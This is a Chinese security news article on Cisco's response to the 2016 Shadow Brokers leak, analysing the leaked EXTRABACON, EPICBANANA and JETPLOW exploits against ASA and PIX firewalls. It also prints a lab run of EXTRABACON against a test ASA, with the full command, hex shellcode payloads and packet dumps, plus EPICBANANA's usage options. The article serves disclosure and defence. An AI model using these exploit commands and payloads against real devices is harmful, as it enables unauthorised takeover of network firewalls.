频道栏目
首页 > 资讯 > 安全资讯 > 正文

思科修复Shadow Brokers公布漏洞并发布技术分析

16-08-19        来源:[db:作者]  
收藏   我要投稿

一、事件综述

2016年8月15日,一个名为“The Shadow Brokers”(影子经纪人)的黑客组织声称自己入侵了Equation Group(方程式组织)黑客组织的计算机系统,并成功窃取到了大量的机密信息以及黑客工具。随后,“The Shadow Brokers”黑客组织将大部分泄漏文件(60%)公布在了网上,其中就包含有针对多款网络设备的漏洞利用代码。

据了解,在“The Shadow Brokers”黑客组织所泄漏的黑客工具中, “EPICBANANA”、“ EXTRABACON”和“JETPLOW”这三个漏洞利用模块将会对思科公司的产品产生影响。其中受影响的设备包括思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务模块(FWSM)。

思科公司在了解到了此次事件之后,便立刻安排思科产品安全事件响应团队(PSIRT)全权负责此次事件中的漏洞修复和应急处理工作。据悉,PSIRT团队在对此次事件中受影响的产品进行了分析之后,立刻发布了一篇事件响应报告(ERP),并在这篇报告中对此次事件中的两大主要安全漏洞进行了简要描述。除此之外,PSIRT团队还发表了一份安全公告,并在安全公告中宣布“The Shadow Brokers”事件中的思科产品漏洞已经被修复了。至此,“The Shadow Brokers”所泄漏的漏洞利用代码(针对思科产品)将不再有效。这两个影响严重的远程代码执行漏洞分别为:

-思科ASA SNMP远程代码执行漏洞

-思科ASA CLI远程代码执行漏洞

思科ASA SNMP远程代码执行漏洞是一个新发现的漏洞,思科Talos安全威胁智能小组和思科IPS入侵防御系统都为这个漏洞生成了数字签名(用以检测漏洞):

-Snort规则ID;3:39885

-思科IPS签名ID:7655-0

而思科 ASA CLI远程代码执行漏洞早在2011年就已经被修复了。思科公司目前已经发布了一份正式的安全公告,他们希望通过这份安全公告来告知用户这个漏洞早就已经被修复了。思科公司的安全研究专家还表示,只要用户运行的是最新版本的思科软件,那么他们就不会受到“The Shadow Brokers”事件的影响。

“The Shadow Brokers”目前已经将60%的泄漏数据公布在了网络上,并且将会采用拍卖竞价的形式出售剩下40%的数据。除此之外他们还表示,如果“The Shadow Brokers”收到了一百万个比特币,那么他们就会直接将这些数据全部公布在网络上。根据安全研究专家的分析,他们公布的部分被盗文件日期可以追溯到2013年。

二、漏洞概述

根据思科公司的描述,此次泄漏的这些黑客工具主要利用了思科产品中的两大安全漏洞,其中一个漏洞是思科公司早已知晓的,但另外一个漏洞却从来没有被检测到。

这个0 day漏洞就是CVE-2016-6366。思科公司表示,这个漏洞主要存在于思科自适应安全设备(ASA)软件的简单网络管理协议(SNMP)代码之中。该漏洞将会允许未经身份验证的远程攻击者重启受影响产品,并在设备系统中实现远程代码执行(RCE)。远程代码执行漏洞是一种非常危险的安全漏洞,因为攻击者可以利用这种漏洞来获取到目标设备的完整控制权。

除了上述这个0 day漏洞之外,思科公司还发现了尝试利用漏洞CVE-2016-6367的漏洞利用代码。据了解,该漏洞是思科产品中的一个非常老的漏洞了,公司早在2011年就已经将该漏洞修复了。

这个漏洞存在于思科自适应安全设备(ASA)软件的命令行接口(CLI)解析器之中,该漏洞将会允许未经身份验证的本地攻击者进行拒绝服务攻击(DoS)。除此之外,攻击者还有可能利用该漏洞来在受影响设备上执行任意代码。

所以思科公司已经发布了一份安全公告,并在公告中提醒全球用户尽快更新思科设备的固件版本。

三、漏洞分析

这些文件包含下图所示的目录和漏洞利用代码:

 

 

在上面这张图片中,有三个目录中的漏洞利用模块与思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务有关。这三个模块分别为:EXTRABACON, EPICBANANA,以及JETPLOW。

在下面这份列表中显示了每一个漏洞利用模块相对应的漏洞信息。

 

 

(一)、EXTRABACON

EXTRABACON针对的是思科ASA系列防火墙,思科PIX防火墙,以及思科防火墙服务模块的SNMP代码中的一个缓冲区溢出漏洞。感兴趣的用户可以访问思科公司所发布的安全公告来了解受此漏洞影响的完整设备名单(CVE-2016-6366)。攻击者可以通过向受影响的思科产品发送一个精心设计的SNMP数据包来触发并利用这个漏洞。

下面这张图片大致描述了该漏洞的利用过程:

 

 

关于EXTRABACON模块的一些信息:

1. 用于接收SNMP数据包的接口必须配置并启用SNMP协议。在上图所显示的实例中,SNMP协议只在思科ASA防火墙的管理接口中启用了。随后,攻击者必须利用这个网络接口来发动攻击,因为其他的接口(无论是外部接口还是内部接口)是无法触发这个漏洞的。

2. 如果想要成功利用这个漏洞,那么攻击者必须要知道SNMP社区字符串。

3. 只有直接发送至目标系统的网络流量才能用来触发这个漏洞。

4. 这个漏洞只能通过IPv4流量来触发。

5. SNMP v1,SNMP v2c,以及SNMP v3都会受到该漏洞的影响。

6. 攻击者可以利用这个漏洞来在目标设备中实现任意代码执行,获取目标系统的完整控制权,甚至是重载受影响的系统。

7. 思科ASA系列防火墙软件都会受到该漏洞影响。

EXTRABACON模块的使用

首先,我们可以通过-h命令来查看该工具的帮助信息:

omar@omar-io:~$ ./extrabacon_1.1.0.1.py -h

Logging to /home/omar/concernedparent

usage: extrabacon_1.1.0.1.py [-h] [-v] [-q] {info,exec} ...

Extrabacon (version 1.1.0.1)

positional arguments:

{info,exec}

optional arguments:

-h, --help show this help message and exit

-v, --verbose verbose logging, add more -v for more verbose logging

-q, --quiet minimize logging (not recommended)

在下面的例子中,我们会对思科ASA防火墙的管理接口(已经启用了SNMP)实施攻击。我们的实验地址为192.168.1.66,ASA防火墙配置了SNMPv2,社区字符串为“cisco”。

omar@omar-io:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable

WARNING: No route found for IPv6 destination :: (no default route?)

Logging to /home/omar/concernedparent

[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable

[+] running from /home/omar

Data stored in self.vinfo: ASA803

[+] generating exploit for exec mode pass-enable

[+] using shellcode in ./versions

[+] importing version-specific shellcode shellcode_asa803

[+] building payload for mode pass-enable

appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e

ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80

appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5

589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80

[+] random SNMP request-id 425297185

[+] fixing offset to payload 49

overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.

4.137.4.36.137.229.131.197.88.4

*** output omitted ****

44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144

payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531

f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff

fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3

EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010

*** output omitted ****

0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500

[+] Connecting to 192.168.1.66:161

[+] packet 1 of 1

[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..

[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.

[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........

[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......

[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..

[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.

[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1

[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....

[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.

...

###[ SNMP ]###

version = v2c

community = 'cisco'

\PDU \

|###[ SNMPbulk ]###

| id =

| non_repeaters= 0

| max_repetitions= 1

| \varbindlist\

| |###[ SNMPvarbind ]###

| | oid = '.1.3.6.1.2.1.1.1']>

| | value =

\x00\x00^\xeb\xec\xe8\xf8\xff\xff\xffU1\xc0\x89\xbf\xa5\xa5\xa5\xa5\xb8\xd8\xa5\xa5\

xa51\xf8\xbb\xa5%\xac\xac1\xfb\xb9\xa5\xb5\xa5\xa51\xf9\xba\x....

*** output omitted ****

\xa5\xa51\xf9\xba\xa0\xa5\xa5\xa51\xfa\xcd\x80\xc3']>

| |###[ SNMPvarbind ]###

| | oid =

.165.165.165.131.236.4.137.4.36.137.229

*** output omitted ****

44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>

| | value =

****************************************

[-] timeout waiting for response - performing health check

[-] no response from health check - target may have crashed

[-] health check failed

请记住,为了成功利用这个漏洞,我们必须得到SNMP社区字符串和发送数据包的主机地址。比如说:

omar-asa5506(config)# snmp-server host mgmt 192.168.1.100 version 2

在我的测试实例中,我对版本号为9.4的思科ASA防火墙产品(ASA5506)进行了攻击。此次攻击导致ASA防火墙发生了崩溃,具体信息如下所示:

omar-asa5506(config)#

Thread Name: snmp

Page fault: Unknown

r8 0x00000000000000b8

r9 0x00007fffdd4aa590

r10 0x00007fffdd4aa598

r11 0x00007fffcb6bb9f0

r12 0x9090909090909090

r13 0x9090909090909090

r14 0x9090909090909090

r15 0x0000000000000004

rdi 0x00007fffcb6939e0

rsi 0x00007fffdd4aa598

rbp 0x7c8b09837b8d9090

rbx 0x9090c361d0ff3104

rdx 0x00007fffcb693a00

rax 0x0000000000000000

rcx 0x0000000000000000

rsp 0x00007fffcb693a78

rip 0x00000000018e6ccc

eflags 0x0000000000013246

csgsfs 0x0000000000000033

error code 0x0000000000000000

vector 0x000000000000000d

old mask 0xffffffde3e3a5a05

cr2 0x0000000000000000

*** output omitted ****

(二)、EPICBANANA

EPICBANANA漏洞利用模块利用的是漏洞CVE-2016-6367,该漏洞将允许未经身份验证的攻击者对目标系统进行拒绝服务攻击(DoS),甚至还可以在目标设备中实现任意代码执行。攻击者可以通过在受影响设备中调用某些无效指令来触发该漏洞。如果想要成功利用该漏洞,那么攻击者必须知道目标设备的telnet或者SSH密码。但是,漏洞CVE-2016-6367早已在思科ASA系列防火墙的8.4版本中得到了修复。

下面列出的是EPICBANANA漏洞利用模块的功能选项:

bash-3.2$ ./epicbanana_2.1.0.1.py -h

Usage: epicbanana_2.1.0.1.py [options]

EPICBANANA

Options:

--version show program's version number and exit

-h, --help show this help message and exit

-t TARGET_IP, --target_ip=TARGET_IP

target IP (REQUIRED)

--proto=PROTO target protocol "telnet" or "ssh" (REQUIRED)

--ssh_cmd=SSH_CMD path to ssh (default /usr/bin/ssh)

--ssh_opts=SSH_OPTS extra flags to pass to ssh, quoted (ex: "-v" or "-v -1

-c des")

--username=USERNAME default = pix (optional)

--password=PASSWORD (REQUIRED)

--delay=DELAY pause time between sending commands, default 1.0

seconds

--timeout=TIMEOUT time to wait for responses, default 20.0 seconds

--target_vers=TARGET_VERS

target Pix version (pix712, asa804) (REQUIRED)

--versdir=VERSDIR where are the EPBA version-specific files? (./versions

subdir default)

--mem=MEMORY target Pix memory size (64M, 1024M) (REQUIRED for

pix/asa7, ASA for asa 8+)

--payload=PAYLOAD BM or nop (BM default)

-p DEST_PORT, --dest_port=DEST_PORT

defaults: telnet=23, ssh=22 (optional)

--pretend system check, prep everything but don't fire exploit

-v verbose mode (default, recommended)

--debug debug mode (too much)

-q quiet mode (suppress verbose)

下面列出的是EPICBANANA模块需要使用到的文件:

bash-3.2$ ls

EPBA.config.orig params.py pexpect.py telnet.py

epicbanana_2.1.0.1.py params.pyc pexpect.pyc telnet.pyc

hexdump.py payload.py ssh.py versions

hexdump.pyc payload.pyc ssh.pyc

(三)、JETPLOW

JETPLOW模块相当于是EPICBANANA模块的持久化植入版本。思科公司在其新的平台中使用了非对称加密算法来对软件进行数字签名,并以此来防止这类攻击。数字签名的作用就是为了保证运行在系统中的思科软件没有遭到过非法篡改,并保证软件的安全性。除此之外,思科产品中的安全启动模式同样能够缓解这个问题。

四、总结

总的来说,思科公司在处理“The Shadow Brokers”事件上表现得还是非常专业的。在此次事件发生之后,思科公司的安全团队便立刻对此事件进行了响应处理。公司的安全工程师对黑客泄漏在网上的数据进行了筛选,然后将受影响的思科设备进行了归类,并对这些漏洞利用工具进行了深入地分析。

根据思科公司的安全研究专家Omar Santos透露的信息,他们在Equation Group组织的EXTRABACON恶意工具中发现了针对漏洞CVE-2016-6366的利用代码,而且还在EPICBANANA和JETPLOW中发现了针对漏洞CVE-2016-6367的漏洞利用代码。Santos认为,JETPLOW是EPICBANANA的加强版,因为JETPLOW的持久化能力更强。

目前,“The Shadow Brokers”黑客组织的动机我们仍不得而知,但是从目前的情况来看,他们的目标肯定不止是为了获取金钱那么简单。很多安全研究专家推测,这群黑客很可能是在为之后的攻击活动做准备,他们也许是打算利用此次数据泄漏事件来吸引媒体和美国国家安全局的注意力。

事情的真相到底是什么?也许只能交给时间来回答了。

相关TAG标签
上一篇:网络安全警报:黑客的手已经触及到没联网的电脑
下一篇:如何使用SDR+inspectrum逆向分析无线遥控信号
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站